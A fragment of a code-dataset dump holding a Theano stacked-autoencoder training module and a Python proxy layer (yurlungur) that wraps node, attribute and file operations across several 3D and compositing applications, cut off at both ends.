delimiter=\";\")\n","sub_path":"core/bevel.py","file_name":"bevel.py","file_ext":"py","file_size_in_byte":2586,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"300230887","text":"import theano.tensor as t\nimport theano\nfrom nn.net import Network\nfrom ae.encoder import AutoEncoder\nimport numpy as np\n\nclass StackedAENetwork (Network) :\n '''The StackedAENetwork object allows autoencoders to be stacked such that\n the output of one autoencoder becomes the input to another. It creates\n the necessary connections to train the AE in a greedy layerwise manner. \n The resulting trained AEs can be used to initialize a nn.TrainerNetwork.\n\n train : theano.shared dataset used for network training in format --\n (numBatches, batchSize, numChannels, rows, cols)\n log : Logger to use\n '''\n def __init__ (self, train, log=None) :\n Network.__init__ (self, log)\n self._indexVar = t.lscalar('index')\n self._trainData = train\n self._numTrainBatches = self._trainData.get_value(borrow=True).shape[0]\n self._greedyTrainer = []\n\n def __buildAE(self, encoder) :\n out, updates = encoder.getUpdates()\n self._greedyTrainer.append(\n theano.function([self._indexVar], out, updates=updates,\n givens={self.getNetworkInput()[1] : \n self._trainData[self._indexVar]}))\n\n def __getstate__(self) :\n '''Save network pickle'''\n dict = Network.__getstate__(self)\n # remove the functions -- they will be rebuilt JIT\n if '_indexVar' in dict : del dict['_indexVar']\n if '_trainData' in dict : del dict['_trainData']\n if '_numTrainBatches' in dict : del dict['_numTrainBatches']\n if '_greedyTrainer' in dict : del dict['_greedyTrainer']\n return dict\n\n def __setstate__(self, dict) :\n '''Load network pickle'''\n # remove any current functions from the object so we force the\n # theano functions to be rebuilt with the new buffers\n if hasattr(self, '_greedyTrainer') : delattr(self, '_greedyTrainer')\n self._greedyTrainer = []\n Network.__setstate__(self, dict)\n # rebuild the network\n for encoder in self._layers :\n self.__buildAE(encoder)\n\n def addLayer(self, encoder) :\n '''Add an autoencoder to the network. It is the responsibility of the \n user to connect the current network's output as the input to the \n next layer.\n This utility will additionally create a greedy layerwise trainer.\n '''\n if not isinstance(encoder, AutoEncoder) :\n raise TypeError('addLayer is expecting a AutoEncoder object.')\n self._startProfile('Adding a Encoder to the network', 'debug')\n\n # add it to our layer list\n self._layers.append(encoder)\n\n # all layers start with the input original input, however are updated\n # in a layerwise manner. --\n # NOTE: this uses theano.shared variables for optimized GPU execution\n self.__buildAE(encoder)\n self._endProfile()\n\n def train(self, layerIndex, index) :\n '''Train the network against the pre-loaded inputs. This accepts\n a batch index into the pre-compiled input set.\n layerIndex : specify which layer to train\n index : specify a pre-compiled mini-batch index\n inputs : DEBUGGING Specify a numpy tensor mini-batch\n '''\n self._startProfile('Training Batch [' + str(index) +\n '/' + str(self._numTrainBatches) + ']', 'debug')\n if not isinstance(index, int) :\n raise Exception('Variable index must be an integer value')\n if index >= self._numTrainBatches :\n raise Exception('Variable index out of range for numBatches')\n\n # train the input --\n # the user decides if this is online or batch training\n ret = self._greedyTrainer[layerIndex](index)\n\n self._endProfile()\n return ret\n\n def trainEpoch(self, layerIndex, globalEpoch, numEpochs=1) :\n '''Train the network against the pre-loaded inputs for a user-specified\n number of epochs.\n\n layerIndex : index of the layer to train\n globalEpoch : total number of epochs the network has previously \n trained\n numEpochs : number of epochs to train this round before stopping\n '''\n globCost = []\n for localEpoch in range(numEpochs) :\n layerEpochStr = 'Layer[' + str(layerIndex) + '] Epoch[' + \\\n str(globalEpoch + localEpoch) + ']'\n self._startProfile('Running ' + layerEpochStr, 'info')\n locCost = []\n for ii in range(self._numTrainBatches) :\n locCost.append(self.train(layerIndex, ii))\n\n locCost = np.mean(locCost, axis=0)\n self._startProfile(layerEpochStr + ' Cost: ' + \\\n str(locCost[0]) + ' - Jacob: ' + \\\n str(locCost[1]), 'info')\n globCost.append(locCost)\n\n self._endProfile()\n self._endProfile()\n\n #self.writeWeights(layerIndex, globalEpoch + localEpoch)\n return globalEpoch + numEpochs, globCost\n\n def trainGreedyLayerwise(self, numEpochs=1) :\n '''Train the entire network against the pre-loaded inputs for a \n user-specified number of epochs. This trains all layers for the\n specified number of epochs before moving to the next layer.\n\n numEpochs : number of epochs to train this round before stopping\n '''\n for layerIndex in range(self.getNumLayers()) :\n self.trainEpoch(layerIndex, 0, numEpochs)\n\n # TODO: these should both be removed!\n def getLayer(self, layerIndex) :\n return self._layers[layerIndex]\n def writeWeights(self, layerIndex, epoch) :\n self._layers[layerIndex].writeWeights(epoch)\n\n\nif __name__ == '__main__' :\n import argparse, logging\n from dataset.reader import ingestImagery, pickleDataset\n from dataset.shared import splitToShared\n from contiguousAE import ContractiveAutoEncoder\n\n parser = argparse.ArgumentParser()\n parser.add_argument('--log', dest='logfile', type=str, default=None,\n help='Specify log output file.')\n parser.add_argument('--level', dest='level', default='info', type=str, \n help='Log Level.')\n parser.add_argument('--contraction', dest='contraction', default=0.1, \n type=float, help='Rate of contraction.')\n parser.add_argument('--learn', dest='learn', type=float, default=0.01,\n help='Rate of learning on AutoEncoder.')\n parser.add_argument('--neuron', dest='neuron', type=int, default=100,\n help='Number of Neurons in Hidden Layer.')\n parser.add_argument('data', help='Directory or pkl.gz file for the ' +\n 'training and test sets')\n options = parser.parse_args()\n\n # setup the logger\n log = logging.getLogger('CAE: ' + options.data)\n log.setLevel(options.level.upper())\n formatter = logging.Formatter('%(levelname)s - %(message)s')\n stream = logging.StreamHandler()\n stream.setLevel(options.level.upper())\n stream.setFormatter(formatter)\n log.addHandler(stream)\n if options.logfile is not None :\n logFile = logging.FileHandler(options.logfile)\n logFile.setLevel(options.level.upper())\n logFile.setFormatter(formatter)\n log.addHandler(logFile)\n\n # NOTE: The pickleDataset will silently use previously created pickles if\n # one exists (for efficiency). So watch out for stale pickles!\n train, test, labels = ingestImagery(pickleDataset(\n options.data, batchSize=100, \n holdoutPercentage=0, log=log), shared=False, log=log)\n vectorized = (train[0].shape[0], train[0].shape[1], \n train[0].shape[3] * train[0].shape[4])\n train = (np.reshape(train[0], vectorized), train[1])\n\n network = StackedAENetwork(splitToShared(train, borrow=True), log)\n input = t.fmatrix('input')\n network.addLayer(ContractiveAutoEncoder(\n 'cae', input, (vectorized[1], vectorized[2]),\n options.neuron, options.learn, options.contraction))\n\n globalEpoch = 0\n for ii in range(100) :\n globalEpoch, globalCost = network.trainEpoch(0, globalEpoch)\n network.writeWeights(0)\n del network\n","sub_path":"trunk/modules/python/ae/net.py","file_name":"net.py","file_ext":"py","file_size_in_byte":8402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"529661476","text":"# -*- coding: utf-8 -*-\nimport os\nimport sys\nimport inspect\nfrom functools import partial, total_ordering\n\nfrom yurlungur.core.wrapper import (\n YException, _YObject, _YAttr, OM\n)\nfrom yurlungur.tool.math import (\n YVector, YColor, YMatrix\n)\nfrom yurlungur.tool.meta import meta\nfrom yurlungur.tool.util import trace\n\n\nclass YObject(_YObject):\n \"\"\"base class\n >>> obj = YObject(\"pCone\")\n >>> obj(\"cone\")\n \"\"\"\n\n def __init__(self, item):\n self.item = item\n\n def __repr__(self):\n if hasattr(meta, \"SDNode\"):\n return \"id: \" + self.name\n else:\n return self.name\n\n @property\n def name(self):\n if hasattr(meta, \"SDNode\"):\n return self.id\n else:\n return self.item\n\n @property\n def id(self):\n if hasattr(meta, \"SDNode\"):\n node_id = \"\"\n for node in meta.graph.getNodes():\n d = node.getDefinition()\n if d.getId() == self.item or d.getLabel() == self.item or node.getIdentifier() == self.item:\n node_id = node.getIdentifier()\n break\n return node_id if node_id else meta.graph.getIdentifier()\n\n if hasattr(meta, \"ls\"):\n return meta.ls(self.name, uuid=1)[0] or 0\n\n if hasattr(meta, \"hda\"):\n return meta.node(self.name).sessionId() or 0\n\n if hasattr(meta, \"runtime\"):\n return meta.runtime.getnodebyname(self.name).gbufferChannel or 0\n\n if hasattr(meta, \"data\"):\n return meta.data.objects[self.name].id_data or 0\n\n if hasattr(meta, \"knob\"):\n return meta.toNode(self.name)[\"name\"].value() or 0\n\n if hasattr(meta, \"fusion\"):\n return meta.fusion.GetCurrentComp().FindTool(self.name).ID or 0\n\n if hasattr(meta, 'uclass'):\n return\n\n raise YException\n\n @trace\n def __call__(self, *args, **kwargs):\n if hasattr(meta, \"SDNode\"):\n meta.graph.setIdentifier(args[0])\n\n if hasattr(meta, \"rename\"):\n return meta.rename(self.item, *args, **kwargs)\n\n if hasattr(meta, \"hda\"):\n return meta.node(self.item).setName(*args, **kwargs)\n\n if hasattr(meta, \"runtime\"):\n meta.runtime.getnodebyname(self.name).name = args[0]\n return YNode(args[0])\n\n if hasattr(meta, \"data\"):\n meta.data.objects[self.item].name = \"\".join(args)\n return \"\".join(args)\n\n if hasattr(meta, \"knob\"):\n meta.toNode(self.item).setName(args[0], **kwargs)\n\n if hasattr(meta, \"fusion\"):\n return meta.fusion.GetCurrentComp().FindTool(self.item).SetAttrs({\"TOOLS_Name\": args[0]})\n\n if hasattr(meta, 'uclass'):\n if meta.assets.rename_asset(self.name, args[0]):\n return YNode(args[0])\n\n @trace\n def __getattr__(self, val):\n if hasattr(meta, \"SDNode\"):\n prop = meta.graph.getNodeFromId(self.name).getPropertyFromId(val, meta.SDPropertyCategory.Input)\n return YAttr(meta.graph.getNodeFromId(self.name).getPropertyValue(prop).get(), self.name, val)\n\n if hasattr(meta, \"getAttr\"):\n return YAttr(meta.getAttr(self.name + \".\" + val), self.name, val)\n\n if hasattr(meta, \"hda\"):\n parm = (meta.node(self.name).parm(val) or meta.node(self.name).parmTuple(val))\n return YAttr(parm.eval(), self.name, val)\n\n if hasattr(meta, \"runtime\"):\n if '.' in self.name:\n node, prop = self.name.split('.')\n return YAttr(getattr(meta.runtime.getnodebyname(node), prop),\n meta.runtime.getnodebyname(node).name, val)\n else:\n return YAttr(getattr(meta.runtime.getnodebyname(self.name), val), self.name, val)\n\n if hasattr(meta, \"data\"):\n return YAttr(meta.data.objects[self.name].name, self.name, val)\n\n if hasattr(meta, \"knob\"):\n return YAttr(meta.toNode(self.name)[val], self.name, val)\n\n if hasattr(meta, \"fusion\"):\n return YAttr(getattr(meta.fusion.GetCurrentComp().FindTool(self.name), val), self.name, val)\n\n if hasattr(meta, 'uclass'):\n return YAttr(\n meta.editor.get_actor_reference(self.name).get_editor_property(val), self.name, val)\n\n raise YException\n\n @trace\n def attr(self, val, *args, **kwargs):\n if hasattr(meta, \"SDNode\"):\n prop = meta.graph.getNodeFromId(self.name).getPropertyFromId(val, meta.SDPropertyCategory.Input)\n return YAttr(meta.graph.getNodeFromId(self.name).getPropertyValue(prop).get(), self.name, val)\n\n if hasattr(meta, \"getAttr\"):\n return YAttr(meta.getAttr(self.name + \".\" + val, *args, **kwargs), self.name, val)\n\n if hasattr(meta, \"hda\"):\n parm = (meta.node(self.name).parm(val) or meta.node(self.name).parmTuple(val))\n return YAttr(parm.eval(), self.name, val)\n\n if hasattr(meta, \"runtime\"):\n return YAttr(getattr(meta.runtime.getnodebyname(self.name), val), self.name, val)\n\n if hasattr(meta, \"data\"):\n return YAttr(meta.data.objects[self.name].name, self.name, val)\n\n if hasattr(meta, \"knob\"):\n return YAttr(meta.toNode(self.name)[val], self.name, val)\n\n if hasattr(meta, \"fusion\"):\n return YAttr(getattr(meta.fusion.GetCurrentComp().FindTool(self.name), val), self.name, val)\n\n if hasattr(meta, 'uclass'):\n return YAttr(\n meta.editor.get_actor_reference(self.name).get_editor_property(val), self.name, val)\n\n raise YException\n\n @property\n def attrs(self, *args, **kwargs):\n if hasattr(meta, \"SDNode\"):\n return tuple([\n prop.getId() for prop in\n meta.graph.getNodeFromId(self.name).getProperties(meta.SDPropertyCategory.Input)\n ])\n\n if hasattr(meta, \"listAttr\"):\n return tuple(meta.listAttr(self.name, *args, **kwargs)) or None\n\n if hasattr(meta, \"hda\"):\n return tuple(p.name() for p in meta.node(self.name).parms() or [])\n\n if hasattr(meta, \"runtime\"):\n return inspect.getmembers(meta.runtime.getnodebyname(self.name))\n\n if hasattr(meta, \"data\"):\n return tuple(inspect.getmembers(meta.data.objects[self.name]))\n\n if hasattr(meta, \"knob\"):\n return tuple([knob.name() for knob in meta.toNode(self.name).allKnobs()])\n\n if hasattr(meta, \"fusion\"):\n return meta.fusion.GetCurrentComp().FindTool(self.name).GetAttrs()\n\n if hasattr(meta, 'uclass'):\n return meta.assets.find_asset_data(self.name).get_asset()\n\n raise YException\n\n @trace\n def create(self, *args, **kwargs):\n if hasattr(meta, \"SDNode\"):\n node_id = args[0] if \"::\" in args[0] else \"::\".join([\"sbs\", \"compositing\", args[0]])\n return YNode(meta.graph.newNode(node_id).getIdentifier())\n\n if hasattr(meta, \"createNode\"):\n return YNode(meta.createNode(*args, **kwargs))\n\n if hasattr(meta, \"hda\"):\n if len(args) == 0 and len(kwargs) == 0:\n return YNode(\n partial(\n meta.node(self.name).createNode, self.name\n )(*args, **kwargs).path())\n return YNode(meta.node(self.name).createNode(*args, **kwargs).path())\n\n if hasattr(meta, \"runtime\"):\n obj = getattr(meta.runtime, args[0])\n msx_class = meta.runtime.classOf(obj)\n _obj = obj(**kwargs)\n\n if str(msx_class) == 'modifier':\n meta.runtime.addModifier(meta.runtime.getnodebyname(self.name), _obj)\n return YNode(meta.runtime.getnodebyname(self.name).name + \".\" + _obj.name)\n\n elif str(msx_class) == 'material':\n meta.runtime.material = _obj\n\n return YNode(_obj.name)\n\n if hasattr(meta, \"data\"):\n try:\n getattr(meta.ops.mesh, str(self).lower() + \"_add\")(*args, **kwargs)\n except AttributeError:\n getattr(meta.ops.object, str(self).lower() + \"_add\")(*args, **kwargs)\n\n if hasattr(meta, \"fusion\"):\n return YNode(meta.fusion.GetCurrentComp().AddTool(*args, **kwargs).Name)\n\n if hasattr(meta, 'uclass'):\n if not 'FactoryNew' in args[0]:\n return None\n # factory = getattr(meta, args[0])()\n # tool = meta.AssetToolsHelpers.get_asset_tools()\n # Name, Path, None\n # fargs = args[1:].append(factory)\n # tool.create_asset(*fargs)\n\n raise YException\n\n @trace\n def delete(self, *args, **kwargs):\n if hasattr(meta, \"SDNode\"):\n return meta.graph.deleteNode(meta.graph.getNodeFromId(self.name))\n\n if hasattr(meta, \"delete\"):\n node = meta.toNode(self.name) if hasattr(meta, \"knob\") else self.name\n return meta.delete(node, *args, **kwargs)\n\n if hasattr(meta, \"hda\"):\n return meta.node(self.name).destroy()\n\n if hasattr(meta, \"runtime\"):\n return meta.runtime.delete(meta.runtime.getnodebyname(self.name))\n\n if hasattr(meta, \"data\"):\n return meta.context.scene.objects.unlink(meta.data.objects[self.name])\n\n if hasattr(meta, \"fusion\"):\n return meta.fusion.GetCurrentComp().FindTool(self.name).Delete()\n\n if hasattr(meta, 'uclass'):\n # return meta.assets.delete_asset(self.name)\n return meta.editor.get_actor_reference(self.name).destroy_actor()\n\n raise YException\n\n def instance(self, *args, **kwarg):\n if hasattr(meta, \"SDNode\"):\n return meta.graph.newInstanceNode(self.name, *args, **kwarg)\n\n if hasattr(meta, \"instance\"):\n if len(args) > 0:\n return meta.instance(self.name, lf=1)\n else:\n return meta.listRelatives(self.name, ap=1, f=1)[1:] or None\n\n if hasattr(meta, \"runtime\"):\n return YNode(meta.runtime.instance(meta.runtime.getnodebyname(self.name)).name)\n\n if hasattr(meta, \"hda\"):\n return meta.node(self.name).copyTo(*args, **kwarg)\n\n if hasattr(meta, \"knob\"):\n if len(args) > 0:\n return meta.clone(meta.toNode(self.name), *args, **kwarg)\n else:\n return meta.toNode(self.name).clones()\n\n if hasattr(meta, \"fusion\"):\n meta.fusion.GetCurrentComp().Copy(self.name)\n return meta.fusion.GetCurrentComp().Paste(*args, **kwarg)\n\n if hasattr(meta, 'uclass'):\n return\n\n raise YException\n\n def select(self, *args, **kwargs):\n if hasattr(meta, \"SDNode\"):\n context = meta.sd_app.getLocationContext()\n if context:\n return context.getSelectedNodes()\n else:\n return None\n\n if hasattr(meta, \"select\"):\n if 'shape' not in kwargs and 's' not in kwargs:\n kwargs['s'] = True\n\n if len(args) == 0 and len(kwargs) == 0:\n return meta.ls(sl=1)\n else:\n return meta.select(*args, **kwargs)\n\n if hasattr(meta, \"hda\"):\n return meta.node(self.name).setCurrent(*args, **kwargs)\n\n if hasattr(meta, \"runtime\"):\n if len(args) == 0 and len(kwargs) == 0:\n return meta.runtime.select(meta.runtime.getnodebyname(self.name))\n else:\n if meta.runtime.execute('$') == meta.runtime.execute('$selection'):\n return meta.runtime.execute('$ as array')\n else:\n return meta.runtime.execute('$')\n\n if hasattr(meta, \"knob\"):\n if len(args) == 0 and len(kwargs) == 0:\n return meta.selectedNodes()\n else:\n return meta.toNode(self.name).setSelected()\n\n if hasattr(meta, \"fusion\"):\n return meta.fusion.GetCurrentComp().CurrentFrame.FlowView.Select(*args, **kwargs)\n\n if hasattr(meta, 'uclass'):\n # return meta.editor.get_selected_assets()\n if len(args) == 0 and len(kwargs) == 0:\n return meta.editor.get_actor_reference(self.name, True)\n else:\n return meta.editor.get_selection_set()\n\n raise YException\n\n @trace\n def hide(self, on=True):\n if hasattr(meta, \"data\"):\n meta.data.objects[self.name].hide = on\n return\n\n if hasattr(meta, \"runtime\"):\n return getattr(meta.runtime, \"hide\" if on else \"unhide\")(meta.runtime.getnodebyname(self.name))\n\n if hasattr(meta, \"fusion\"):\n return meta.fusion.GetCurrentComp().FindTool(self.name).SetAttrs(\n {'TOOLB_Visible': on, \"TOOLB_Locked\": True})\n\n if hasattr(meta, 'uclass'):\n # set_actor_hidden_in_game\n return meta.editor.get_actor_reference(self.name).set_editor_property('hidden', on)\n\n raise YException\n\n @trace\n def geometry(self):\n if hasattr(meta, \"ls\"):\n dag = OM.MGlobal.getSelectionListByName(self.name).getDagPath(0)\n return OM.MFnMesh(dag)\n\n if hasattr(meta, \"hda\"):\n return meta.node(self.name).geometry()\n\n if hasattr(meta, \"data\"):\n return meta.data.meshes[self.name]\n\n if hasattr(meta, \"runtime\"):\n return meta.runtime.getnodebyname(self.name).mesh\n\n if hasattr(meta, 'uclass'):\n actor = meta.editor.get_actor_reference(self.name).get_class().get_name()\n if actor == 'StaticMeshActor' or actor == 'SkeletalMeshActor':\n return meta.editor.get_actor_reference(self.name)\n return\n\n raise YException\n\n\nclass YNode(YObject):\n \"\"\"relationship object\"\"\"\n\n def __init__(self, item=None):\n if sys.version_info < (3, 2):\n super(YNode, self).__init__(item)\n else:\n super().__init__(item)\n self.item = item\n\n if self.item and hasattr(meta, \"SDNode\"):\n self._inputs = meta.graph.getNodeFromId(self.name).getProperties(meta.SDPropertyCategory.Input)\n self._outputs = meta.graph.getNodeFromId(self.name).getProperties(meta.SDPropertyCategory.Output)\n\n def parent(self, *args, **kwarg):\n if hasattr(meta, \"SDNode\"):\n nodes = []\n for prop in self._inputs:\n for connect in meta.graph.getNodeFromId(self.name).getPropertyConnections(prop):\n nodes.append(YNode(connect.getInputPropertyNode().getIdentifier()))\n return nodes\n\n if hasattr(meta, \"getAttr\"):\n if len(args) == 0 and len(kwarg) > 0:\n return meta.parent(self.item, *args, **kwarg)\n else:\n return YNode(\n partial(meta.listRelatives, self.item, p=1)(*args, **kwarg))\n\n if hasattr(meta, \"hda\"):\n return YNode(meta.node(self.name).parent().path())\n\n if hasattr(meta, \"runtime\"):\n if len(args) > 0:\n meta.runtime.getnodebyname(self.item).parent = args[0]\n return YNode(args[0])\n else:\n _parent = meta.runtime.getnodebyname(self.item).parent\n return YNode(_parent.name) if _parent else None\n\n if hasattr(meta, \"knob\"):\n index = meta.toNode(self.name).inputs() - 1\n return YNode(meta.toNode(self.name).input(index).name())\n\n if hasattr(meta, \"fusion\"):\n return meta.fusion.GetCurrentComp().FindTool(self.name).ParentTool\n\n if hasattr(meta, 'uclass'):\n return YNode(\n meta.editor.get_actor_reference(self.name).get_parent_actor().get_name())\n\n raise YException\n\n def children(self, *args, **kwarg):\n if hasattr(meta, \"SDNode\"):\n nodes = []\n for prop in self._outputs:\n for connect in meta.graph.getNodeFromId(self.name).getPropertyConnections(prop):\n nodes.append(YNode(connect.getOutputPropertyNode().getIdentifier()))\n return nodes\n\n if hasattr(meta, \"getAttr\"):\n return partial(meta.listRelatives, self.item, c=1)(*args, **kwarg) or None\n\n if hasattr(meta, \"hda\"):\n return [YNode(node.name) for node in meta.node(self.item).children()]\n\n if hasattr(meta, \"runtime\"):\n if len(args) > 0:\n meta.runtime.execute('append $%s.children $%s' % (self.item, args[0]))\n return YNode(args[0])\n else:\n nodes = []\n children = meta.runtime.getnodebyname(self.item).children\n for i in range(children.count):\n nodes.append(children[i].name)\n return nodes\n\n raise YException\n\n @trace\n def connect(self, *args, **kwargs):\n if hasattr(meta, \"SDNode\"):\n args = (args[0], meta.graph.getNodeFromId(args[1].id), args[2])\n return meta.graph.getNodeFromId(self.name).newPropertyConnectionFromId(*args).getClassName()\n\n if hasattr(meta, \"connectAttr\"):\n return partial(meta.connectAttr, self.name + \".\" + args[0])(args[1:], **kwargs)\n\n if hasattr(meta, \"hda\"):\n return partial(meta.node(self.name).setInput, 0)(*args, **kwargs)\n\n if hasattr(meta, \"knob\"):\n return meta.toNode(self.name).setInput(*args, **kwargs)\n\n if hasattr(meta, \"fusion\"):\n return meta.fusion.GetCurrentComp().FindTool(self.name).ConnectInput(*args, **kwargs)\n\n raise YException\n\n @trace\n def disconnect(self, *args, **kwargs):\n if hasattr(meta, \"SDNode\"):\n for arg in args:\n for prop in self._inputs:\n if arg == prop.getId():\n return meta.graph.getNodeFromId(self.name).deletePropertyConnections(prop)\n for prop in self._outputs:\n if arg == prop.getId():\n return meta.graph.getNodeFromId(self.name).deletePropertyConnections(prop)\n return\n\n if hasattr(meta, \"disconnectAttr\"):\n return partial(meta.disconnectAttr, self.name + \".\" + args[0])(args[1:], **kwargs)\n\n if hasattr(meta, \"hda\"):\n return partial(meta.node(self.name).setInput, 0, None)(*args, **kwargs)\n\n if hasattr(meta, \"knob\"):\n return meta.toNode(self.name).setInput(0, None)\n\n if hasattr(meta, \"fusion\"):\n return setattr(meta.fusion.GetCurrentComp().FindTool(self.name), \"Input\", None)\n\n raise YException\n\n @trace\n def inputs(self, *args, **kwargs):\n if hasattr(meta, \"SDNode\"):\n return [connect.getId() for connect in self._inputs if connect.isConnectable()]\n\n if hasattr(meta, \"listConnections\"):\n return partial(meta.listConnections, s=1)(*args, **kwargs)\n\n if hasattr(meta, \"hda\"):\n return [YNode(node.name) for node in meta.node(self.name).inputs()]\n\n if hasattr(meta, \"knob\"):\n return [YNode(meta.toNode(self.name).input(index).name()) for index in\n range(meta.toNode(self.name).inputs())]\n\n if hasattr(meta, \"fusion\"):\n return meta.fusion.GetCurrentComp().FindTool(self.name).GetInputList().values()[0].GetAttrs()\n\n raise YException\n\n @trace\n def outputs(self, *args, **kwargs):\n if hasattr(meta, \"SDNode\"):\n return [connect.getId() for connect in self._outputs if connect.isConnectable()]\n\n if hasattr(meta, \"listConnections\"):\n return partial(meta.listConnections, d=1)(*args, **kwargs)\n\n if hasattr(meta, \"hda\"):\n return [YNode(node.name) for node in meta.node(self.name).outputs()]\n\n if hasattr(meta, \"knob\"):\n return meta.toNode(self.name).dependencies(meta.EXPRESSIONS)\n\n if hasattr(meta, \"fusion\"):\n return meta.fusion.GetCurrentComp().FindTool(self.name).GetOutputList().values()[0].GetAttrs()\n\n raise YException\n\n\n@total_ordering\nclass YAttr(_YAttr):\n \"\"\"parametric object\"\"\"\n\n def __init__(self, *args):\n assert len(args) > 2, \"parameter is invalid.\"\n self._values = args\n self.obj, self.val = self._values[1:]\n\n @property\n def value(self):\n if hasattr(meta, \"SDNode\"):\n return self._values[0]\n \n if ':' in str(self._values[0]):\n return getattr(self._values[0], self.val)\n else:\n return self._values[0]\n\n def __getitem__(self, idx):\n return self._values[idx]\n\n def __repr__(self):\n return str(self.value)\n\n def __eq__(self, other):\n return self.value == other.value\n\n def __gt__(self, other):\n return self.value >= other.value\n\n @trace\n def set(self, *args, **kwargs):\n if hasattr(meta, \"SDNode\"):\n sd_value = meta.SDValueInt.sNew(args[0])\n\n if type(self.value) == bool:\n sd_value = meta.SDValueBool.sNew(args[0])\n if type(self.value) == float:\n sd_value = meta.SDValueFloat.sNew(args[0])\n if type(self.value) == str:\n sd_value = meta.SDValueString.sNew(args[0])\n\n prop = meta.graph.getNodeFromId(self.obj).getPropertyFromId(self.val, meta.SDPropertyCategory.Input)\n return meta.graph.getNodeFromId(self.obj).setPropertyValue(prop, sd_value)\n\n if hasattr(meta, \"setAttr\"):\n return meta.setAttr(self.obj + \".\" + self.val, *args, **kwargs)\n\n if hasattr(meta, \"hda\"):\n parm = (meta.node(self.obj).parm(self.val) or\n meta.node(self.obj).parmTuple(self.val))\n return parm.set(\n args[0].tolist() if hasattr(args[0], \"T\") else args[0], **kwargs)\n\n if hasattr(meta, \"runtime\"):\n if ':' in str(self._values[0]):\n return setattr(self._values[0], self.val, args[0])\n else:\n return setattr(meta.runtime.getnodebyname(self.obj), self.val, args[0])\n\n if hasattr(meta, \"data\"):\n return setattr(meta.data.objects[self.obj],\n self.val, args[0].tolist() if hasattr(args[0], \"T\") else args[0])\n\n if hasattr(meta, \"knob\"):\n return meta.toNode(self.obj)[self.val].setValue(args[0], **kwargs)\n\n if hasattr(meta, \"fusion\"):\n return setattr(meta.fusion.GetCurrentComp().FindTool(self.obj), self.val, args[0])\n\n if hasattr(meta, 'uclass'):\n return meta.assets.find_asset_data(self.obj).get_asset().set_editor_property(self.obj, self.val)\n\n raise YException\n\n def create(self, *args, **kwargs):\n pass\n\n def delete(self, *args, **kwargs):\n pass\n\n @trace\n def lock(self, on):\n if hasattr(meta, \"setAttr\"):\n return meta.setAttr(self.obj + \".\" + self.val, lock=on)\n\n if hasattr(meta, \"hda\"):\n return meta.node(self.obj).parm(self.val).lock(on)\n\n if hasattr(meta, \"knob\"):\n return meta.toNode(self.obj)[self.val].setEnabled(on)\n\n raise YException\n\n @trace\n def hide(self, on=True):\n if hasattr(meta, \"setAttr\"):\n return meta.setAttr(self.obj + \".\" + self.val, keyable=not on, channelBox=not on)\n\n if hasattr(meta, \"hda\"):\n return meta.node(self.obj).parm(self.val).hide(on)\n\n if hasattr(meta, \"knob\"):\n return meta.toNode(self.obj)[self.val].setVisible(not on)\n\n raise YException\n\n @property\n def asVector(self):\n try:\n return YVector(self._values[0])\n except TypeError:\n return YVector(*self._values[0])\n\n @property\n def asColor(self):\n try:\n return YColor(self._values[0])\n except TypeError:\n return YColor(*self._values[0])\n\n @property\n def asMatrix(self):\n try:\n return YMatrix(self._values[0])\n except TypeError:\n return YMatrix(*self._values[0])\n\n\nclass YFile(_YObject):\n \"\"\"save, open and export\"\"\"\n\n def __init__(self, path=\"\"):\n self.file = path\n\n @property\n def name(self):\n return os.path.basename(self.file)\n\n @property\n def path(self):\n return os.path.dirname(self.file)\n\n @classmethod\n def open(cls, *args, **kwargs):\n from yurlungur.core.command import file\n\n if args[0].endswith(\"abc\"):\n return cls(file.abcImporter(*args, **kwargs))\n\n if args[0].endswith(\"fbx\"):\n return cls(file.fbxImporter(*args, **kwargs))\n\n if hasattr(meta, \"sbs\"):\n return cls(meta.manager.loadUserPackage(*args, **kwargs))\n\n if hasattr(meta, \"file\"):\n return cls(partial(meta.file, i=1)(*args, **kwargs))\n\n if hasattr(meta, \"hipFile\"):\n return cls(meta.hipFile.load(*args, **kwargs))\n\n if hasattr(meta, \"runtime\"):\n if meta.runtime.loadMaxFile(*args, **kwargs):\n return cls(args[0])\n\n if hasattr(meta, \"data\"):\n return cls(meta.ops.wm.open_mainfile(*args, **kwargs))\n\n if hasattr(meta, \"knob\"):\n return meta.scriptOpen(*args, **kwargs)\n\n if hasattr(meta, \"fusion\"):\n storage = meta.resolve.GetMediaStorage()\n if \".\" in args:\n return storage.AddItemsToMediaPool(*args)\n else:\n return meta.manager.LoadProject(*args, **kwargs)\n\n raise YException\n\n @classmethod\n def save(cls, *args, **kwargs):\n from yurlungur.core.command import file\n\n if args[0].endswith(\"abc\"):\n return cls(file.abcExporter(*args, **kwargs))\n\n if args[0].endswith(\"fbx\"):\n return cls(file.fbxExporter(*args, **kwargs))\n\n if hasattr(meta, \"sbs\"):\n return cls(meta.manager.savePackageAs(*args, **kwargs))\n\n if hasattr(meta, \"file\"):\n return cls(partial(meta.file, s=1)(*args, **kwargs))\n\n if hasattr(meta, \"hipFile\"):\n return cls(meta.hipFile.save(*args, **kwargs))\n\n if hasattr(meta, \"runtime\"):\n if meta.runtime.saveMaxFile(*args, **kwargs):\n return cls(args[0])\n\n if hasattr(meta, \"data\"):\n return meta.ops.wm.save_mainfile(*args, **kwargs)\n\n if hasattr(meta, \"knob\"):\n return meta.scriptSave(*args, **kwargs)\n\n if hasattr(meta, \"fusion\"):\n return meta.manager.SaveProject(*args, **kwargs)\n\n raise YException\n\n @property\n def current(self):\n if hasattr(meta, \"sbs\"):\n return meta.manager.getUserPackageFromFilePath()\n\n if hasattr(meta, \"file\"):\n return meta.file(exn=1, q=1)\n\n if hasattr(meta, \"hipFile\"):\n return meta.hipFile.path()\n\n if hasattr(meta, \"runtime\"):\n return meta.runtime.maxFilePath + meta.runtime.maxFileName\n\n if hasattr(meta, \"data\"):\n return meta.data.filepath\n\n if hasattr(meta, \"knob\"):\n return meta.scriptName()\n\n if hasattr(meta, \"fusion\"):\n return meta.manager.GetCurrentProject()\n\n raise YException\n\n def reference(self):\n raise YException\n","sub_path":"yurlungur/core/proxy.py","file_name":"proxy.py","file_ext":"py","file_size_in_byte":27410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"380345589","text":"import numpy as np\nfrom scipy.misc import imsave\nimport matplotlib.pyplot as plt\n\nfrom batch_generators.batch_generators import TwoClassBatchGenerator\nfrom 